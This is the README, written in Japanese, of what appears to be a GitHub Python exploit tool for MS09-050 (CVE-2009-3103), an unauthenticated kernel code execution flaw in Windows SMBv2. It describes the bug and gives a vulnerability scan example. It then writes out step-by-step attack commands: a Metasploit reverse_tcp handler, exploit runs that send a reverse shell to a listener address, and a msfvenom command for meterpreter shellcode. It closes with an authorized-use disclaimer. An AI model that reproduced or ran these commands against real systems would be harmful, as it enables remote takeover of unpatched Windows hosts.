
MS09-050(CVE-2009-3103)SMBv2 srv2.sys バッファオーバーフローに対するPythonエクスプロイト。脆弱性スキャナー、アーキテクチャ自動検出、x86/x64リバースシェルペイロードを備える。
CVE-2009-3103
Windows Vista および Server 2008 では、新しいカーネルドライバ srv2.sys を備えた SMBv2 が導入されました。このドライバは、SMB ネゴシエート要求内の Process Id High フィールドを検証できません。このフィールドに細工された値を送信することで、攻撃者は srv2.sys に制御された値で関数ポインタテーブルをインデックスさせ、攻撃者が指定したアドレスを逆参照させることができます。
その結果、認証不要でカーネルコンテキストでの任意コード実行が可能になります。攻撃者はポート 445 に到達できれば十分です。
Microsoft は 2009 年 10 月にこの脆弱性を修正しました (KB975517)。未パッチの Vista SP1/SP2 または Server 2008 SP1 システムはすべて脆弱です。
| 対象 OS | アーキテクチャ |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload でカスタムペイロードを選択できます-s)[+] 成功、[-] エラー、[!] 警告、[*] 情報git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
要件:
rpcclient (smbclient パッケージに含まれる)、インジェクション後にペイロードをトリガーするために使用しますmsfvenom、--msfvenom フラグを使用する場合にのみ必要ですDebian/Ubuntu の場合:
sudo apt install smbclient
Arch Linux の場合:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
出力:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
meterpreter/reverse_tcp ステージャを使用します。先にハンドラを起動してください:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
次にエクスプロイトを実行します:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
raw シェルコードを一度生成し、msfvenom なしで再利用します:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
次にエクスプロイトに渡します:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request を送信し、対象 OS のバージョンとアーキテクチャをフィンガープリントしますsrv2.sys のバッファをオーバーフローさせる不正な SMBv2 ネゴシエート要求を作成しますこのツールは、許可されたペネトレーションテストおよび教育目的でのみ提供されています。
コンピュータシステムへの不正アクセスは、ほとんどの法域において犯罪行為です。このツールをいかなるターゲットに対して使用する前にも、システム所有者から明示的な書面による許可を取得する必要があります。作者は一切の責任を負わず、このソフトウェアによって引き起こされたいかなる誤用や損害についても責任を負いません。
このツールを使用することにより、あなたは以下に同意するものとします:
責任を持って使用してください。倫理的にハックしてください。